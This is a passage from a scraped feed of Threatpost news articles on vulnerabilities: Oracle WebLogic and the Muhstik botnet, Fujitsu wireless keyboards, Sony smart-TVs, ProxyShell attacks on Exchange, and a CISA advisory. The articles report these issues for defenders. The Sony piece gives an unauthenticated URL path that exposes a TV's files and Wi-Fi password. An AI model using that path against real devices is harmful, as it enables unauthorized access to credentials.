Muhstik botnet continue to sniff out ripe exploits. The botnet had previously targeted an earlier WebLogic vulnerability ([CVE-2017-10271](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271>)), as well as WordPress and [Drupal vulnerabilities.](<https://threatpost.com/muhstik-botnet-exploits-highly-critical-drupal-bug/131360/>)\n\nUnit 42 researchers told Threatpost that they didn\u2019t have further information on the number of servers impacted.\n\n## Oracle WebLogic\n\nThe latest Oracle WebLogic flaw, which impacts versions 10.3.6 and 12.1.3 of the server, is one such ripe target.\n\nThe flaw could allow an attacker to send a request to a WebLogic server, which would then reach out to a malicious host to complete the request, opening up the impacted server to an remote code-execution attack.\n\nOracle for its part is urging users to update as soon as possible. \u201cDue to the severity of this vulnerability, Oracle recommends that this Security Alert be applied as soon as possible,\u201d Eric Maurice, director of security assurance at Oracle, said in a [recent post](<https://blogs.oracle.com/security/security-alert-cve-2019-2725-released>) about the vulnerability.\n\nOracle didn\u2019t respond to a request for further comment from Threatpost.\n\nHowever, servers that haven\u2019t yet updated are being targeted by several other bad actors, including ones spreading a new [ransomware variant](<https://threatpost.com/new-sodinokibi-ransomware-exploits-critical-oracle-weblogic-flaw/144233/>) uncovered this week called \u201cSodinokibi.\u201d That ransomware first came onto researchers\u2019 radar on April 25 (the day before a patch was released), after attackers attempted to make an HTTP connection with vulnerable Oracle WebLogic servers.\n\nResearchers for their part warn of a slew of scans checking for the Oracle WebLogic vulnerability, and urge users to update their devices as soon as possible.\n\nhttps://twitter.com/bad_packets/status/1122356384849248258\n\nWhen it comes to Muhstik, Unit 42 researchers said that adding this latest exploit to the botnet\u2019s toolkit will increase the number of systems it can infect.\n\n\u201cThe Oracle WebLogic wls9-async RCE vulnerability is now being used by Muhstik botnet in the wild and there is a great possibility that it will be exploited by other malware families in the future,\u201d they said. \u201cUnder the pressure of racing with botnets, both service vendors and users should address new vulnerabilities by releasing patches and installing them respectively.\u201d\n\n_This article was updated on May 2 at 8 am ET to reflect Unit 42 comments._\n", "cvss3": {}, "published": "2019-05-01T14:11:11", "type": "threatpost", "title": "Muhstik Botnet Variant Targets Just-Patched Oracle WebLogic Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-10271", "CVE-2019-2725", "CVE-2020-0688"], "modified": "2019-05-01T14:11:11", "id": "THREATPOST:420EE567E806D93092741D7BB375AC57", "href": "https://threatpost.com/muhstik-botnet-variant-targets-just-patched-oracle-weblogic-flaw/144253/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-09-30T22:23:47", "description": "Two high-severity flaws, discovered in a popular Fujitsu wireless keyboard set, could allow attackers from a short distance away to \u201ceavesdrop\u201d on passwords entered into the keyboards, or even fully takeover a victim\u2019s system.\n\nMaking matters worse, the impacted Fujitsu wireless keyboard LX390 reached end-of-life in May 2019 \u2013 meaning that a patch is not available and affected users are instead urged to replace their keyboards entirely.\n\n\u201cFujitsu has released two new wireless keyboard sets named LX410 and LX960 that are not affected by the described security issue,\u201d said Matthias Deeg, researcher with Germany-based SySS, in an advisory [sent to Threatpost on Wednesday](<https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-011.txt>). \u201cSySS recommends replacing LX390 wireless keyboard sets used in environments with higher security demands, for instance with one of the newer successor models LX410 or LX960.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe Fujitsu [Wireless Keyboard Set LX390](<https://www01.cp-static.com/objects/pdf/e/e2e/1349166666_1_toetsenborden-fujitsu-lx390-s26381-k590-l480.pdf>) desk set consists of a mouse and a keyboard. The wireless keyboard transmits keystrokes to the desktop wirelessly using a 2.4 GHz-range transceiver.\n\nIt\u2019s that data communication between the wireless keyboard and desktop where the vulnerabilities stem from; the LX390 does not use encryption for transmitting data packets that contain keyboard events, like keystrokes. Instead, the keyboard aims to secure any communicated data using a mechanism called \u201cdata whitening,\u201d which essentially scrambles the data in a certain configuration.\n\nHowever, because the data isn\u2019t encrypted, it can still be accessed and analyzed by an attacker who is up to 150 feet away (the [typical reach](<https://www.lifewire.com/range-of-typical-wifi-network-816564>) of devices using 2.4 GHz radio frequency).\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/10/23130539/fujitsu.jpg>)\n\nResearchers were able to sniff out and analyze the radio communication using a software tool (the [Universal Radio Hacker](<https://github.com/jopohl/urh>)), to then unscramble the data-whitening configuration. That allowed them to view the data packet contents \u2013 which, Deeg said, could lead to two proof-of-concept (PoC) attacks.\n\nFirst of all, with access to the data packets, researchers were able to scope out keystrokes, such as passwords being entered into the wireless keyboard (CVE-2019-18201).\n\n\u201cWith this knowledge, an attacker can remotely analyze and decode sent keyboard events of a Fujitsu LX390 keyboard as cleartext, for instance keystrokes, and thus gain unauthorized access to sensitive data like passwords,\u201d said Deeg.\n\nIn another PoC attack, researchers were able to launch keystroke injections (CVE-2019-18200), which is an attack where hackers could send their own data packets to the wireless keyboard device, which in turn generates keystrokes on the host computer (which would need to have a screen that\u2019s already unlocked and unattended).\n\nAttackers from the short distance away could use keystroke injection attacks for all sorts of malicious purposes \u2013 the worst being the installation of malware, including dangerous rootkits. In order to send data packets in this proof-of-concept attack, researchers used a software-defined radio in combination with an in-house developed software tool utilizing [GNU Radio](<https://www.gnuradio.org/>).\n\nBoth flaws were reported to the manufacturer in April 2019. Fujitsu did not immediately respond to a request for comment from Threatpost.\n\nIt\u2019s not the first Fujitsu wireless keyboard flaw to be found; in March [Fujitsu stopped sales](<https://threatpost.com/unpatched-fujitsu-wireless-keyboard-bug-allows-keystroke-injection/142847/>) for its popular wireless keyboard after a researcher discovered it is vulnerable to keystroke injection attacks that could allow an adversary to take control of a victim\u2019s system.\n\nThese types of attacks have garnered attention since 2016, when the [Mousejack vulnerability](<https://threatpost.com/mousejack-attacks-abuse-vulnerable-wireless-keyboard-mouse-dongles/116402/>) raised awareness of the potential risks introduced by a wireless mouse or keyboard to the enterprise. In April [2018,](<https://threatpost.com/microsoft-fixes-66-bugs-in-april-patch-tuesday-release/131127/>) Microsoft patched a Wireless Keyboard 850 security feature bypass vulnerability ([CVE-2018-8117](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8117>)); while in December 2018 Logitech patched a bug could have allowed adversaries to launch keystroke [injection attacks](<https://threatpost.com/logitech-keystroke-injection-flaw/139928/>) against Logitech keyboard owners that used its app.\n\n\u201cAccording to our research results of the last three years, several wireless input devices like wireless desktop sets and wireless presenter using proprietary non-Bluetooth 2.4 GHz communication had some severe security issues allowing for replay, keystroke injection, and sometimes even keystroke sniffing attacks,\u201d Deeg told Threatpost.\n\n_**What are the top cybersecurity issues associated with privileged account access and credential governance? Experts from Thycotic on Oct. 23 will discuss during our upcoming free **_[_**Threatpost webinar**_](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)_**, \u201cHackers and Security Pros: Where They Agree & Disagree When It Comes to Your Privileged Access Security.\u201d **_[_**Click here to register**_](<https://register.gotowebinar.com/register/9029717654543174147?source=ART>)_**.**_\n", "cvss3": {}, "published": "2019-10-23T18:03:45", "type": "threatpost", "title": "Fujitsu Wireless Keyboard Plagued By Unpatched Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-8117", "CVE-2019-18200", "CVE-2019-18201", "CVE-2020-0688"], "modified": "2019-10-23T18:03:45", "id": "THREATPOST:4D0DF8055D2BC682608C1A746606A6E4", "href": "https://threatpost.com/fujitsu-wireless-keyboard-unpatched-flaws/149477/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:18", "description": "Two vulnerabilities in Android-based smart-TVs from Sony, including the flagship Bravia line, could allow attackers to access WiFi passwords and images stored on the devices.\n\nThe bugs exist in the Photo Sharing Plus feature of Sony smart-TVs going back to 2015. They were uncovered by xen1thLabs in October; Sony in response [has removed](<https://www.sony.com/electronics/support/televisions-projectors/articles/00204331>) the vulnerable application from all new models and the bugs were disclosed on Monday.\n\nIt\u2019s important to remember that the vulnerabilities exist not only in homes but also in companies and organizations where smart TVs are used in conference and meeting rooms, widening the scope of the threat surface.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe Photo Sharing Plus application allows the uploading of pictures and multimedia from a smartphone to a TV, in order to show content in a slideshow format. The first vulnerability (CVE-2019-11336) allows an attacker, without authentication, to retrieve the WiFi password created by the television when the Photo Sharing Plus application is started. The second (CVE-2019-10886) allows an attacker to read arbitrary files, including images, located within the TV\u2019s software, without authentication.\n\nOn the first point, when started, the app essentially turns the TV into a WiFi access point and shows a WiFi password that allows customers to connect and share their media content, according to xen1thLabs. It\u2019s possible for an attacker to retrieve this password in plaintext from the logs kept in the Photo Sharing Plus API, according to the researchers, which is reachable via the home network or corporate LAN and which has no access restrictions on it.\n\nThe second bug opens up internal smart-TV files to cyberattackers: \u201cBy default, images used by the Photo Sharing Plus application are stored inside \u2018/data/user/0/com.sony.dtv.photosharingplus/files/_BRAVPSS.TMP/\u2019,\u201d explained the team, in [an advisory](<https://www.darkmatter.ae/blogs/security-flaws-uncovered-in-sony-smart-tvs/>) this week. \u201cThe application initiates an access point on the television and a HTTP daemon is listening to a TCP port on the newly created WLAN. Furthermore, this daemon also listens on the LAN side of the television, and it is possible to retrieve these images from the LAN an image using [a hardcoded URL without authentication].\u201d\n\nFurther, browsing to the hard-coded web address \u201chttp://[ip_tv]:10000/contentshare/image/\u201d allows access to the Android-based root directory of the television, along with its default property files; these include the wireless password for the television.\n\nIn either case, attackers could upload their own content or pilfer content from the TV owners.\n\nTo be clear, an adversary would need to first access the network in order to exploit either vulnerability \u2013 so the attack would be local or require a multi-stage effort involving gaining remote network access.\n\nA list of affected models can be found [here](<https://www.sony.com/electronics/support/televisions-projectors/articles/00204331>) \u2013 the list is not comprehensive, according to xen1thLabs.\n\nThis is not the first issue for Sony TVs and Photo Sharing Plus. In October, security researchers revealed that eight Sony Bravia smart TV models [were vulnerable](<https://threatpost.com/sony-smart-tv-bug-allows-remote-access-root-privileges/138063/>) to a command-injection (CVE-2018-16593) bug tied to Photo Sharing Plus.\n\n\u201cThis application handles file names incorrectly when the user uploads a media file,\u201d wrote Fortinet\u2019s Tony Loi at the time, who found the vulnerability. \u201cAn attacker can abuse such filename mishandling to run arbitrary commands on the system, which can result in complete remote code-execution with root privilege.\u201d\n\nThe bugs illustrate the snowballing threat surface of smart devices and the internet of things (IoT), and the need for more awareness on the part of consumers and businesses alike.\n\n\u201cAny one of the billions of devices connected to a network, no matter how small, could be a target for hackers looking for a vulnerable path to a network or as part of a more widespread attack on a particular device type or channel,\u201d said Gil Bernabeu, technical director at GlobalPlatform, in [a recent blog](<https://globalplatform.org/is-it-impossible-to-securely-manage-the-billions-of-things-in-the-iot-ecosystem-2/?utm_source=iseepr&utm_medium=Blog&utm_campaign=SecureComponent>) on IoT security. \u201cAs the number and nature of use cases grow, so too do the risks.\u201d\n", "cvss3": {}, "published": "2019-04-25T21:13:31", "type": "threatpost", "title": "Android-Based Sony Smart-TVs Open to Image Pilfering", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-16593", "CVE-2019-10886", "CVE-2019-11336", "CVE-2020-0688"], "modified": "2019-04-25T21:13:31", "id": "THREATPOST:24AD38597408C4E7757770D45345AEBA", "href": "https://threatpost.com/android-sony-smart-tvs/144133/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-08-13T19:26:48", "description": "Researchers\u2019 Microsoft Exchange server honeypots are being actively exploited via ProxyShell: The name of an attack disclosed at Black Hat last week that chains three vulnerabilities to enable unauthenticated attackers to perform remote code execution (RCE) and snag plaintext passwords.\n\nIn his Black Hat [presentation](<https://www.blackhat.com/us-21/briefings/schedule/#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-m>) last week, Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) said that a survey shows more than 400,000 Exchange servers on the internet that are exposed to the attack via port 443. On Monday, the SANS Internet Storm Center\u2019s Jan Kopriva [reported](<https://isc.sans.edu/forums/diary/ProxyShell+how+many+Exchange+servers+are+affected+and+where+are+they/27732/>) that he found more than 30,000 vulnerable Exchange servers via a Shodan scan and that any threat actor worthy of that title would find it a snap to pull off, given how much information is available.\n\nGoing by calculations tweeted by security researcher Kevin Beaumont, this means that, between ProxyLogon and ProxyShell, \u201cjust under 50 percent of internet-facing Exchange servers\u201d are currently vulnerable to exploitation, according to a Shodan search.\n\n> Breakdown of Exchange servers on Shodan vulnerable to ProxyShell or ProxyLogon, it's just under 50% of internet facing Exchange servers. [pic.twitter.com/3samyNHBpB](<https://t.co/3samyNHBpB>)\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 13, 2021](<https://twitter.com/GossiTheDog/status/1426207905779527682?ref_src=twsrc%5Etfw>)\n\nOn the plus side, Microsoft has already released patches for all of the vulnerabilities in question, and, cross your fingers, \u201cchances are that most organizations that take security at least somewhat seriously have already applied the patches,\u201d Kopriva wrote.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe vulnerabilities affect Exchange Server 2013, 2016 and 2019.\n\nOn Thursday, Beaumont and NCC Group\u2019s vulnerability researcher Rich Warren disclosed that threat actors have exploited their Microsoft Exchange honeypots using the ProxyShell vulnerability.\n\n\u201cStarted to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities,\u201d Warren tweeted, along with a screen capture of the code for a c# aspx webshell dropped in the /aspnet_client/ directory.\n\n> Started to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities. This one dropped a c# aspx webshell in the /aspnet_client/ directory: [pic.twitter.com/XbZfmQQNhY](<https://t.co/XbZfmQQNhY>)\n> \n> \u2014 Rich Warren (@buffaloverflow) [August 12, 2021](<https://twitter.com/buffaloverflow/status/1425831100157349890?ref_src=twsrc%5Etfw>)\n\nBeaumont [tweeted](<https://twitter.com/GossiTheDog/status/1425844380376735746>) that he was seeing the same and connected it to Tsai\u2019s talk: \u201cExchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from @orange_8361\u2019s initial talk.\u201d\n\n> Exchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from [@orange_8361](<https://twitter.com/orange_8361?ref_src=twsrc%5Etfw>)'s initial talk.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 12, 2021](<https://twitter.com/GossiTheDog/status/1425844380376735746?ref_src=twsrc%5Etfw>)\n\n## Dangerous Skating on the New Attack Surface\n\nIn [a post](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/>) on Sunday, Tsai recounted the in-the-wild ProxyLogon proof of concept that Devco reported to MSRC in late February, explaining that it made the researchers \u201cas curious as everyone after eliminating the possibility of leakage from our side through a thorough investigation.\n\n\u201cWith a clearer timeline appearing and more discussion occurring, it seems like this is not the first time that something like this happened to Microsoft,\u201d he continued. Mail server is both a highly valuable asset and a seemingly irresistible target for attackers, given that it holds businesses\u2019 confidential secrets and corporate data.\n\n\u201cIn other words, controlling a mail server means controlling the lifeline of a company,\u201d Tsai explained. \u201cAs the most common-use email solution, Exchange Server has been the top target for hackers for a long time. Based on our research, there are more than four hundred thousands Exchange Servers exposed on the Internet. Each server represents a company, and you can imagine how horrible it is while a severe vulnerability appeared in Exchange Server.\u201d\n\nDuring his Black Hat presentation, Tsai explained that the new attack surface his team discovered is based on \u201ca significant change in Exchange Server 2013, where the fundamental protocol handler, Client Access Service (CAS), splits into frontend and backend\u201d \u2013 a change that incurred \u201cquite an amount of design\u201d and yielded eight vulnerabilities, consisting of server-side bugs, client-side bugs and crypto bugs.\n\nHe chained the bugs into three attack vectors: The now-infamous [ProxyLogon](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) that induced [patching frenzy](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) a few months back, the ProxyShell vector that\u2019s now under active attack, and another vector called ProxyOracle.\n\n\u201cThese attack vectors enable any unauthenticated attacker to uncover plaintext passwords and even execute arbitrary code on Microsoft Exchange Servers through port 443, which is exposed to the Internet by about 400,000 Exchange Servers,\u201d according to the presentation\u2019s introduction.\n\nThe three Exchange vulnerabilities, all of which are [patched](<https://threatpost.com/microsoft-crushes-116-bugs/167764/>), that Tsai chained for the ProxyShell attack:\n\n * [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) \u2013 Pre-auth path confusion leads to ACL bypass\n * [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \u2013 Elevation of privilege on Exchange PowerShell backend\n * [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>) \u2013 Post-auth arbitrary file-write leads to RCE\n\nProxyShell earned the Devcore team a $200,000 bounty after they used the bugs to take over an Exchange server at the [Pwn2Own 2021](<https://twitter.com/thezdi/status/1379467992862449664>) contest in April.\n\nDuring his Black Hat talk, Tsai said that he discovered the Exchange vulnerabilities when targeting the Microsoft Exchange CAS attack surface. As Tsai explained, CAS is \u201ca fundamental component\u201d of Exchange.\n\nHe referred to [Microsoft\u2019s documentation](<https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2019>), which states:\n\n\u201cMailbox servers contain the Client Access services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services on a Mailbox server.\u201d\n\n\u201cFrom the narrative you could realize the importance of CAS, and you could imagine how critical it is when bugs are found in such infrastructure. CAS was where we focused on, and where the attack surface appeared,\u201d Tsai wrote. \u201cCAS is the fundamental component in charge of accepting all the connections from the client side, no matter if it\u2019s HTTP, POP3, IMAP or SMTP, and proxies the connections to the corresponding backend service.\u201d\n\n## ProxyShell Just the \u2018Tip of the Iceberg\u2019\n\nOut of all the bugs he found in the new attack surface, Tsai dubbed [CVE-2020-0688](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) (an RCE vulnerability that involved a hard-coded cryptographic key in Exchange) the \u201cmost surprising.\u201d\n\n\u201cWith this hard-coded key, an attacker with low privilege can take over the whole Exchange Server,\u201d he wrote. \u201cAnd as you can see, even in 2020, a silly, hard-coded cryptographic key could still be found in an essential software like Exchange. This indicated that Exchange is lacking security reviews, which also inspired me to dig more into the Exchange security.\u201d\n\nBut the \u201cmost interesting\u201d flaw is [CVE-2018-8581](<https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange>), he said, which was disclosed by someone who cooperated with ZDI. Though it\u2019s a \u201csimple\u201d server-side request forgery (SSRF), it could be combined with NTLM Relay, enabling the attacker to \u201cturn a boring SSRF into [something really fancy,\u201d Tsai said.](<https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>)\n\nFor example, it could \u201cdirectly control the whole Domain Controller through a low-privilege account,\u201d Tsai said.\n\n## Autodiscover Figures into ProxyShell\n\nAs [BleepingComputer](<https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-are-getting-hacked-via-proxyshell-exploits/>) reported, during his presentation, Tsai explained that one of the components of the ProxyShell attack chain targets the Microsoft Exchange [Autodiscover](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/autodiscover?view=exchserver-2019>) service: a service that eases configuration and deployment by providing clients access to Exchange features with minimal user input.\n\nTsai\u2019s talk evidently triggered a wave of scanning for the vulnerabilities by attackers.\n\nAfter watching the presentation, other security researchers replicated the ProxyShell exploit. The day after Tsai\u2019s presentation, last Friday, PeterJson and Nguyen Jang [published](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>) more detailed technical information about their successful reproduction of the exploit.\n\nSoon after, Beaumont [tweeted](<https://twitter.com/GossiTheDog/status/1422178411385065476?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1422178411385065476%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.bleepingcomputer.com%2Fnews%2Fmicrosoft%2Fmicrosoft-exchange-servers-scanned-for-proxyshell-vulnerability-patch-now%2F>) about a threat actor who was probing his Exchange honeypot using the [Autodiscover service](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/autodiscover?view=exchserver-2019>). As of yesterday, Aug. 12, those servers were being targeted using autodiscover.json, he tweeted.\n\n> Exchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from [@orange_8361](<https://twitter.com/orange_8361?ref_src=twsrc%5Etfw>)'s initial talk.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 12, 2021](<https://twitter.com/GossiTheDog/status/1425844380376735746?ref_src=twsrc%5Etfw>)\n\nAs of Thursday, ProxyShell was dropping a 265K webshell \u2013 the minimum file size that can be created via ProxyShell due to its use of the Mailbox Export function of Exchange Powershell to create PST files \u2013 to the \u2018c:\\inetpub\\wwwroot\\aspnet_client\\\u2019 folder. Warren shared a sample with BleepingComputer that showed that the webshells consist of \u201ca simple authentication-protected script that the threat actors can use to upload files to the compromised Microsoft Exchange server.\u201d\n\nBad Packets told the outlet that as of Thursday, was seeing threat actors scanning for vulnerable ProxyShell devices from IP addresses in the U.S., Iran and the Netherlands, using the domains @abc.com and @1337.com, from the known addresses 3.15.221.32 and 194.147.142.0/24.\n\nWorried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-13T18:56:27", "type": "threatpost", "title": "Exchange Servers Under Active Attack via ProxyShell Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8581", "CVE-2020-0688", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-13T18:56:27", "id": "THREATPOST:4B2E19CAF27A3EFBCB2F777C6E528317", "href": "https://threatpost.com/exchange-servers-attack-proxyshell/168661/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:19:31", "description": "The U.S. government is warning that Chinese threat actors have successfully compromised several government and private sector entities in recent months, by exploiting vulnerabilities in F5 BIG-IP devices, Citrix and Pulse Secure VPNs and Microsoft Exchange servers.\n\nPatches are currently available for all these flaws \u2013 and in some cases, have been available for over a year \u2013 however, the targeted organizations had not yet updated their systems, leaving them vulnerable to compromise, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) said in a Monday advisory. CISA claims the attacks were launched by threat actors affiliated with the Chinese Ministry of State Security.\n\n[](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to Register\n\n\u201cCISA and the FBI also recommend that organizations routinely audit their configuration and patch management programs to ensure they can track and mitigate emerging threats,\u201d according to a [Monday CISA advisory](<https://us-cert.cisa.gov/sites/default/files/publications/AA20-258A-Chinese_Ministry_of_State_Security-Affiliated_Cyber_Threat_Actor_Activity_S508C.pdf>). \u201cImplementing a rigorous configuration and patch management program will hamper sophisticated cyber threat actors\u2019 operations and protect organizations\u2019 resources and information systems.\u201d\n\nNo further details on the specific hacked entities were made public. The threat actors have been spotted successfully exploiting two common vulnerabilities \u2013 allowing them to compromise federal government and commercial entities, according to CISA.\n\nThe first is a vulnerability (CVE-2020-5902) in [F5\u2019s Big-IP Traffic Management User Interface](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>), which allows cyber threat actors to execute arbitrary system commands, create or delete files, disable services, and/or execute Java code. As of July, about 8,000 users of F5 Networks\u2019 BIG-IP family of networking devices [were still vulnerable](<https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/>) to the critical flaw.\n\nFeds also observed the attackers exploiting an [arbitrary file reading vulnerability](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) affecting Pulse Secure VPN appliances (CVE-2019-11510). This flaw \u2013 speculated to be the [cause of the Travelex breach](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) earlier this year \u2013 allows bad actors to gain access to victim networks.\n\n\u201cAlthough Pulse Secure released patches for CVE-2019-11510 in April 2019, CISA observed incidents where [compromised Active Directory credentials](<https://threatpost.com/apt-groups-exploiting-flaws-in-unpatched-vpns-officials-warn/148956/>) were used months after the victim organization patched their VPN appliance,\u201d according to the advisory.\n\nThreat actors were also observed hunting for [Citrix VPN Appliances](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) vulnerable to CVE-2019-19781, which is a flaw that enables attackers to execute directory traversal attacks. And, they have also been observed attempting to exploit a [Microsoft Exchange server](<https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/>) remote code execution flaw (CVE-2020-0688) that allows attackers to collect emails of targeted networks.\n\nAs part of its advisory, CISA also identified common TTPs utilized by the threat actors. For instance, threat actors have been spotted using [the Cobalt Strike commercial penetration testing tool](<https://threatpost.com/apt29-re-emerges-after-2-years-with-widespread-espionage-campaign/139246/>) to target commercial and federal government networks; they have also seen the actors successfully deploying the [open-source China Chopper tool](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>) against organization networks and using [open-source tool Mimikatz](<https://threatpost.com/wipro-attackers-under-radar/144276/>).\n\nThe initial access vector for these cyberattacks vary. CISA said it has observed threat actors utilize malicious links in spearphishing emails, as well as exploit public facing applications. In one case, CISA observed the threat actors scanning a federal government agency for vulnerable web servers, as well as scanning for known vulnerabilities in network appliances (CVE-2019-11510). CISA also observed threat actors scanning and performing reconnaissance of federal government internet-facing systems shortly after the disclosure of \u201csignificant CVEs.\u201d\n\nCISA said, maintaining a rigorous patching cycle continues to be the best defense against these attacks.\n\n\u201cIf critical vulnerabilities remain unpatched, cyber threat actors can carry out attacks without the need to develop custom malware and exploits or use previously unknown vulnerabilities to target a network,\u201d according to the advisory.\n\nTerence Jackson, CISO at Thycotic, echoed this recommendation, saying the advisory sheds light on the fact that organizations need to keep up with patch management. In fact, he said, according to a recent [Check Point report](<https://www.checkpoint.com/downloads/resources/cyber-attack-trends-report-mid-year-2020.pdf?mkt_tok=eyJpIjoiTldNM05UWTJOelEwTnpZeCIsInQiOiJTSVY0QTBcL0d1UnpKcXM1UzZRRnRRV1RBV1djcnArM3BWK0VrUlQyb2JFVkJka05EWFhGOFpSSVJOZGszcnlpVFNVNVBwSjZDRXNxZGdkTGRKQzJJem4yYWlBQXJERUdkNDNrZEJDWGxNVUZ3WWt5K25vc2trRnNPNFZaY3JzOE8ifQ%3D%3D>), 80 percent of observed ransomware attacks in the first half of 2020 used vulnerabilities reported and registered in 2017 and earlier \u2013 and more than 20 percent of the attacks used vulnerabilities that are at least seven years old.\n\n\u201cPatch management is one of the fundamentals of security, however, it is difficult and we are still receiving a failing grade. Patch management, enforcing MFA and least privilege are key to preventing cyber-attacks in both the public and private sectors,\u201d he told Threatpost.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-14T21:20:46", "type": "threatpost", "title": "Feds Warn Nation-State Hackers are Actively Exploiting Unpatched Microsoft Exchange, F5, VPN Bugs", 